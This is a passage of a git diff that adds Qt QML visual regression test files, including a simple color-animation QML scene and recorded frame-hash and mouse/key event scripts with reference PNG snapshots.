+ button: 1 + buttons: 0 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4384 + hash: "8006ceaa02d22b5fdfeab400d39a0caf" + } + Frame { + msec: 4400 + hash: "6f48d1a9977b77cafd38a5903017605b" + } + Frame { + msec: 4416 + hash: "69058485ced6bc992a1a7c5ee34add4c" + } + Frame { + msec: 4432 + hash: "dafcce427161a70c3513841ac22aea00" + } + Frame { + msec: 4448 + hash: "3223ed179c828fadb3eca9c6373176c1" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4464 + hash: "b08811b237ce7a460c80d285f04d53d8" + } + Frame { + msec: 4480 + hash: "fcae0317f81a3ddd713f4db1349a9da0" + } + Frame { + msec: 4496 + hash: "772396bb23c713f34ea5c23bfbcb115e" + } + Frame { + msec: 4512 + hash: "ecda10356cca33901c2acd0a702fee46" + } + Frame { + msec: 4528 + hash: "575d30ac088448b01f49082519bbb3a1" + } + Frame { + msec: 4544 + hash: "abc2ec0bc7a93e75b5823310e6284db1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4560 + hash: "abc2ec0bc7a93e75b5823310e6284db1" + } + Frame { + msec: 4576 + hash: "575d30ac088448b01f49082519bbb3a1" + } + Frame { + msec: 4592 + hash: "ecda10356cca33901c2acd0a702fee46" + } + Frame { + msec: 4608 + hash: "772396bb23c713f34ea5c23bfbcb115e" + } + Frame { + msec: 4624 + hash: "fcae0317f81a3ddd713f4db1349a9da0" + } + Frame { + msec: 4640 + hash: "b08811b237ce7a460c80d285f04d53d8" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4656 + hash: "17c46242c17983478f34cb49cb91ca6e" + } + Frame { + msec: 4672 + hash: "dafcce427161a70c3513841ac22aea00" + } + Frame { + msec: 4688 + hash: "69058485ced6bc992a1a7c5ee34add4c" + } + Frame { + msec: 4704 + hash: "6f48d1a9977b77cafd38a5903017605b" + } + Frame { + msec: 4720 + hash: "ddb65481469c38f2331546ee03a44206" + } + Frame { + msec: 4736 + hash: "a21aa1984f068650cce2a124a82c12be" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4752 + hash: "a21aa1984f068650cce2a124a82c12be" + } + Frame { + msec: 4768 + hash: "8006ceaa02d22b5fdfeab400d39a0caf" + } + Frame { + msec: 4784 + hash: "6f48d1a9977b77cafd38a5903017605b" + } + Frame { + msec: 4800 + image: "bindinganimation.4.png" + } + Frame { + msec: 4816 + hash: "56125a260a79bc38bb0ef44fd65ba49b" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4832 + hash: "56c72b5da44bd5efdc47c3b9c3eac409" + } + Frame { + msec: 4848 + hash: "42f65c58b1f5f4b5ba70855f4aaa7d2f" + } + Frame { + msec: 4864 + hash: "6a74d6dc91a8b370200d3765c55c1136" + } + Frame { + msec: 4880 + hash: "9413dffb7ee853ba0125ac22ab22abbd" + } + Frame { + msec: 4896 + hash: "527b1f9e7a222483134675a73f9cf5b7" + } + Frame { + msec: 4912 + hash: "ffeb3db6d3f177acf6f92049359a9025" + } + Frame { + msec: 4928 + hash: "a39c80859a7643c9879da9c77b644703" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 122; y: 175 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4944 + hash: "a39c80859a7643c9879da9c77b644703" + } + Frame { + msec: 4960 + hash: "ffeb3db6d3f177acf6f92049359a9025" + } + Frame { + msec: 4976 + hash: "527b1f9e7a222483134675a73f9cf5b7" + } + Frame { + msec: 4992 + hash: "9413dffb7ee853ba0125ac22ab22abbd" + } + Frame { + msec: 5008 + hash: "6a74d6dc91a8b370200d3765c55c1136" + } + Frame { + msec: 5024 + hash: "4f41101378a104e72228eeb4ba395ca8" + } + Frame { + msec: 5040 + hash: "56c72b5da44bd5efdc47c3b9c3eac409" + } + Frame { + msec: 5056 + hash: "72731478d80f024076ea639b55152360" + } + Frame { + msec: 5072 + hash: "07f751ea4cf877ba72fbb36f9da268d7" + } + Frame { + msec: 5088 + hash: "a2cebc35e5c2c709a2cd83e1df6eaeab" + } + Frame { + msec: 5104 + hash: "8006ceaa02d22b5fdfeab400d39a0caf" + } + Frame { + msec: 5120 + hash: "f9f74a2e38b52c9266f33e428b6acd9d" + } + Frame { + msec: 5136 + hash: "a93f930ec8528f954cd4a770c9a8171b" + } + Frame { + msec: 5152 + hash: "bfa51b7c19753ef7b16d78afffc7b9dd" + } + Frame { + msec: 5168 + hash: "df62027b6b53c69a071cb3dc09c3a7ed" + } + Frame { + msec: 5184 + hash: "0d59ac57f8790fe741a31d12c3438abf" + } + Frame { + msec: 5200 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5216 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5232 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5248 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5264 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5280 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5296 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5312 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5328 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5344 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5360 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5376 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5392 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5408 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5424 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5440 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5456 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5472 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5488 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5504 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5520 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5536 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5552 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5568 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5584 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5600 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5616 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5632 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5648 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5664 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5680 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5696 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5712 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 5728 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5744 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5760 + image: "bindinganimation.5.png" + } + Frame { + msec: 5776 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5792 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5808 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5824 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5840 + hash: "383ba6b9efcc58fca512982a207631f6" + } + Frame { + msec: 5856 + hash: "383ba6b9efcc58fca512982a207631f6" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/colorAnimation.qml b/tests/auto/declarative/qmlvisual/animation/colorAnimation/colorAnimation.qml new file mode 100644 index 0000000..f205ae8 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/colorAnimation.qml @@ -0,0 +1,41 @@ +import Qt 4.6 + +Rectangle { + id: mainrect + width: 200; height: 200 + state: "first" + states: [ + State { + name: "first" + PropertyChanges { + target: mainrect + color: "red" + } + }, + State { + name: "second" + PropertyChanges { + target: mainrect + color: "blue" + } + } + ] + transitions: [ + Transition { + from: "first" + to: "second" + reversible: true + SequentialAnimation { + ColorAnimation { + duration: 2000 + target: mainrect + property: "color" + } + } + } + ] + MouseArea { + anchors.fill: parent + onClicked: { mainrect.state = 'second' } + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.0.png b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.0.png new file mode 100644 index 0000000..e6ea16d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.0.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.1.png b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.1.png new file mode 100644 index 0000000..b75ba61 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.1.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.2.png b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.2.png new file mode 100644 index 0000000..4320f6f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.2.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.qml b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.qml new file mode 100644 index 0000000..4d0959a --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.qml @@ -0,0 +1,951 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 32 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 48 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 64 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 80 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 96 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 112 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 128 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 144 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 160 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 176 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 192 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 208 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 224 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 240 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 256 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 272 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 288 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 304 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 320 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 336 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 352 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 368 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 384 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 400 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 416 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 432 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 448 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 464 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 480 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 496 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 512 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 93; y: 136 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 528 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 544 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 560 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 576 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 592 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 93; y: 136 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 608 + hash: "acc736435c9f84aa82941ba561bc5dbc" + } + Frame { + msec: 624 + hash: "e5bda0daf98288ce18db6ce06eda3ba0" + } + Frame { + msec: 640 + hash: "d35008f75b8c992f80fb16ba7203649d" + } + Frame { + msec: 656 + hash: "14f43e0784ddf42ea8550db88c501bf1" + } + Frame { + msec: 672 + hash: "02276e158b5391480b1bdeaadf1fb903" + } + Frame { + msec: 688 + hash: "35d9513eb97a2c482b7cd197de910934" + } + Frame { + msec: 704 + hash: "faf0fd681e60bb2489099f5df772b6cd" + } + Frame { + msec: 720 + hash: "a863d3e346f94785a3a392fdc91526eb" + } + Frame { + msec: 736 + hash: "fdf328d3f6eb8410da59a91345e41a44" + } + Frame { + msec: 752 + hash: "83514a3b10d5be8f6c3b128d0f3e0b1c" + } + Frame { + msec: 768 + hash: "ead0eae76cd00189075964671effbaea" + } + Frame { + msec: 784 + hash: "24d2457fcd51490fda23071bf9929d12" + } + Frame { + msec: 800 + hash: "1478683446cf543dacbe31d0b76a98a6" + } + Frame { + msec: 816 + hash: "99f7da1f31fe920f6c02add4042ae925" + } + Frame { + msec: 832 + hash: "22def892006cf66667770b0f17baf6c0" + } + Frame { + msec: 848 + hash: "6a36d5a77099bfd58baf285478ff04e4" + } + Frame { + msec: 864 + hash: "6258150666b59b20ab476724c07fc20c" + } + Frame { + msec: 880 + hash: "f1636315bc950a6dd400d9c7ed263b88" + } + Frame { + msec: 896 + hash: "18447ea8dc2e8da956788e5b3cf3790a" + } + Frame { + msec: 912 + hash: "1d2a6e65997a73e9e670356c8e8b63b2" + } + Frame { + msec: 928 + hash: "bed0242c0f9ef229d1392835286d5782" + } + Frame { + msec: 944 + hash: "88923c190e9e5beadef8a409c06df9d6" + } + Frame { + msec: 960 + image: "colorAnimation.0.png" + } + Frame { + msec: 976 + hash: "85b1821cc50f2a9f3ed6944f792b7a2f" + } + Frame { + msec: 992 + hash: "395195716d76bc0be7b2033ed37a7a1c" + } + Frame { + msec: 1008 + hash: "243dbffcf416926242bbcb7348974c4c" + } + Frame { + msec: 1024 + hash: "a755068679616d8ac65c2aa7431f2a19" + } + Frame { + msec: 1040 + hash: "e8249b35a47eb492cbdf2d91cc8426f0" + } + Frame { + msec: 1056 + hash: "15f3da1c0e6f0779b96859d51171dd27" + } + Frame { + msec: 1072 + hash: "258c0c756aac3de743b43051f2aace6b" + } + Frame { + msec: 1088 + hash: "a58b9fdf301d72b2cc5c93934cc8927b" + } + Frame { + msec: 1104 + hash: "a9181d30870d472521f8904818ce520f" + } + Frame { + msec: 1120 + hash: "7f9e94069ccf3897c26a71bd7becd903" + } + Frame { + msec: 1136 + hash: "bdf305c2f46cdb86dbf57b1e0cc5a65b" + } + Frame { + msec: 1152 + hash: "fe5b6865d7e4fc7d1d42c1e74f8666f7" + } + Frame { + msec: 1168 + hash: "734f0de45a6e34c9eab7ef606196f96a" + } + Frame { + msec: 1184 + hash: "02a361c4534fdf7f286dc3e6dc23275c" + } + Frame { + msec: 1200 + hash: "e649155ad69999c14b92f6561e4d1185" + } + Frame { + msec: 1216 + hash: "01af177084fab755d622973f64b92018" + } + Frame { + msec: 1232 + hash: "097cc4a082dfab995d213a3a73883c97" + } + Frame { + msec: 1248 + hash: "d7b4239a3280b1eb8e885e3f422df8e9" + } + Frame { + msec: 1264 + hash: "59893977994e34e83f91e7ce3ad65d6d" + } + Frame { + msec: 1280 + hash: "b68e3fbb5cdcd6bd96df7dec558db42b" + } + Frame { + msec: 1296 + hash: "94ad0580648f36a1e18a9ea7e249b04d" + } + Frame { + msec: 1312 + hash: "750a4c01d2f5806a89a1c6cc6a9b9a68" + } + Frame { + msec: 1328 + hash: "4f109f50f388f1bfa4bc6b03b3e6e514" + } + Frame { + msec: 1344 + hash: "c6168d5cf27a533e8ee636637667be47" + } + Frame { + msec: 1360 + hash: "f8120547bed987aa34c00da5a01a4d1e" + } + Frame { + msec: 1376 + hash: "cbff526136fa2c128c8b898fbbef9e5c" + } + Frame { + msec: 1392 + hash: "f29e52398fab1a239a63df4c32f2fc69" + } + Frame { + msec: 1408 + hash: "7178bfe86fd2fd513218b33760460f8d" + } + Frame { + msec: 1424 + hash: "ca83285bc8ac633403896fe976896eb0" + } + Frame { + msec: 1440 + hash: "96ba486c09cc69d5aa38c46c00df1181" + } + Frame { + msec: 1456 + hash: "b88eab335842787869f4a14824c19dd8" + } + Frame { + msec: 1472 + hash: "065aa59012729e1e1a246a2083142690" + } + Frame { + msec: 1488 + hash: "dd0e98c8398861002c5f178c5f9f612d" + } + Frame { + msec: 1504 + hash: "04192c2b545948048eccf4d81bbde198" + } + Frame { + msec: 1520 + hash: "bb7502c7208281ef9fd41714ab88a1a8" + } + Frame { + msec: 1536 + hash: "5397195471890d08b703dca101e5bc7c" + } + Frame { + msec: 1552 + hash: "4c678cdbebb2ffd2cbf012ca77800cde" + } + Frame { + msec: 1568 + hash: "0d7a34ecd0c7f52b2c015037bf1902c6" + } + Frame { + msec: 1584 + hash: "fd9d5048be749ac4369fda2d018b43ae" + } + Frame { + msec: 1600 + hash: "93ee03795cd57ae6f7fe3a020b039ad4" + } + Frame { + msec: 1616 + hash: "5e1118963f219c39761ca7fbf564a9ca" + } + Frame { + msec: 1632 + hash: "8f40038741903150136170503649d941" + } + Frame { + msec: 1648 + hash: "b087b7d0aa6224821f8e18718ff5e77d" + } + Frame { + msec: 1664 + hash: "aa46b04a3c67dc772265ed2901955565" + } + Frame { + msec: 1680 + hash: "ac024bf2aeb4becdf31a09fe0a6db8f3" + } + Frame { + msec: 1696 + hash: "13745a174e4d06e2108a5bf125ba50cc" + } + Frame { + msec: 1712 + hash: "bd972f0d8e230eca0b3fea1b8c960c08" + } + Frame { + msec: 1728 + hash: "cbdbec802a58e7ced0cf45b3ab0bc0ba" + } + Frame { + msec: 1744 + hash: "5128584c50305c7d218b81b8367fa3d5" + } + Frame { + msec: 1760 + hash: "a71461d3593f3685620668916de870bd" + } + Frame { + msec: 1776 + hash: "74ebac8f32cf044b58d9883dbcd9a722" + } + Frame { + msec: 1792 + hash: "fedc5b638f339b90fe59b478721e65b7" + } + Frame { + msec: 1808 + hash: "8593a81be812edf54ec94da8ae9c1314" + } + Frame { + msec: 1824 + hash: "4e9b083075bc5e9287a8abc982778b56" + } + Frame { + msec: 1840 + hash: "1d6f02aa99afa47d77fc49ab894b365a" + } + Frame { + msec: 1856 + hash: "a204feec783b3b05de4c209c21745826" + } + Frame { + msec: 1872 + hash: "665a2a8ff00b9663157802767f504754" + } + Frame { + msec: 1888 + hash: "624fb09ebe60cb87d767faf8d2420b1e" + } + Frame { + msec: 1904 + hash: "e5af0cdc33f3275a25abb09e9165f310" + } + Frame { + msec: 1920 + image: "colorAnimation.1.png" + } + Frame { + msec: 1936 + hash: "e7aa6374c73832e57ceb2427a1e258aa" + } + Frame { + msec: 1952 + hash: "b5abd0dff1ab076faac7cc226e83f5d0" + } + Frame { + msec: 1968 + hash: "b759acc35bccff8efc2e6fe276ddc0f7" + } + Frame { + msec: 1984 + hash: "ce52e18c1f7732768779863b45314ff5" + } + Frame { + msec: 2000 + hash: "99d30652559dd6931e0c95543eeaa149" + } + Frame { + msec: 2016 + hash: "ffbd9a00e05e085b89296d19d5caec57" + } + Frame { + msec: 2032 + hash: "9c9d658b9c25602816b8066bf19105db" + } + Frame { + msec: 2048 + hash: "2b7fd058e6601e22a30bb7106b1c683b" + } + Frame { + msec: 2064 + hash: "f4c7e26b19ee0a3e7c9688685eb7bd05" + } + Frame { + msec: 2080 + hash: "0dc6d593bceff56b7f81f2a49d37fefb" + } + Frame { + msec: 2096 + hash: "9bfd7ad5091ccbdde43c593e133a7b10" + } + Frame { + msec: 2112 + hash: "2703b617937914a90ea42ebf249d79ee" + } + Frame { + msec: 2128 + hash: "b77e2983138254016c4cca53100f46fa" + } + Frame { + msec: 2144 + hash: "60c4dd24187d1281081479e586f02b37" + } + Frame { + msec: 2160 + hash: "62f2511abd99ef1231c9fa4b91d4abfe" + } + Frame { + msec: 2176 + hash: "e309b3353fd174e883d309571caddc98" + } + Frame { + msec: 2192 + hash: "1e2d6a134c7b12dde551b148ef4f088c" + } + Frame { + msec: 2208 + hash: "e5dc5450604a491cc24a0dcf5c278b58" + } + Frame { + msec: 2224 + hash: "c8dae97c10e1962c1e6a51ab3ab8579e" + } + Frame { + msec: 2240 + hash: "4e1b7e06f55fb084080689b474f1fe1d" + } + Frame { + msec: 2256 + hash: "b4639c907fa937bf15fac62421170cd8" + } + Frame { + msec: 2272 + hash: "c250208a0caeb5f6cb4d3aac3d7d350b" + } + Frame { + msec: 2288 + hash: "a73351eabecf0d71149efe31f197413e" + } + Frame { + msec: 2304 + hash: "479425f1b7aff79e4dfb7fca534af018" + } + Frame { + msec: 2320 + hash: "046d0f0040a52d1f26ba9f7c5de06ef4" + } + Frame { + msec: 2336 + hash: "655778bf13c6080903150b0eb43a7edc" + } + Frame { + msec: 2352 + hash: "72da0bbe81514870655fdd3354adac60" + } + Frame { + msec: 2368 + hash: "defe0bdf675c65fff55aaaced1e4dae7" + } + Frame { + msec: 2384 + hash: "c988628b6c3d3780e9a865c7694926cd" + } + Frame { + msec: 2400 + hash: "5ab17563655231089edd986ff13d6012" + } + Frame { + msec: 2416 + hash: "c1adff1d2e5800ed466d1691d3b17382" + } + Frame { + msec: 2432 + hash: "70129ba01fbb19592b9dc0d0a3b3e7df" + } + Frame { + msec: 2448 + hash: "0000829ef7ed908bf430d42904d59cc2" + } + Frame { + msec: 2464 + hash: "843d2927f50ab87b4a86b7a6aaeed91f" + } + Frame { + msec: 2480 + hash: "da86d21756025e7de8050586d5e2a1f8" + } + Frame { + msec: 2496 + hash: "48dd1bd6580133b0793fee327ea4f1e6" + } + Frame { + msec: 2512 + hash: "f0618193dcd0ba2837249515a1898b1c" + } + Frame { + msec: 2528 + hash: "a530184e57251065286c0cbba7301e9c" + } + Frame { + msec: 2544 + hash: "64a1d7203973d65dd342793007a61c58" + } + Frame { + msec: 2560 + hash: "5b830dfc6ba442772de87d75d5a578de" + } + Frame { + msec: 2576 + hash: "5563b056b0409b65f60dd16dd0dd890e" + } + Frame { + msec: 2592 + hash: "b8bcf9ad2ca8720c11563a23d8280804" + } + Frame { + msec: 2608 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2624 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2640 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2656 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2672 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2688 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2704 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2720 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2736 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2752 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2768 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2784 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2800 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2816 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2832 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2848 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2864 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2880 + image: "colorAnimation.2.png" + } + Frame { + msec: 2896 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2912 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2928 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2944 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2960 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2976 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 2992 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3008 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3024 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3040 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3056 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3072 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3088 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3104 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3120 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3136 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3152 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3168 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3184 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3200 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3216 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3232 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3248 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3264 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3280 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3296 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3312 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3328 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3344 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3360 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3376 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3392 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3408 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3424 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3440 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3456 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3472 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3488 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3504 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3520 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3536 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3552 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3568 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3584 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3600 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3616 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + msec: 3632 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3648 + hash: "8c0fcda4f8956394c53fc4ba18caa850" + } + Frame { + 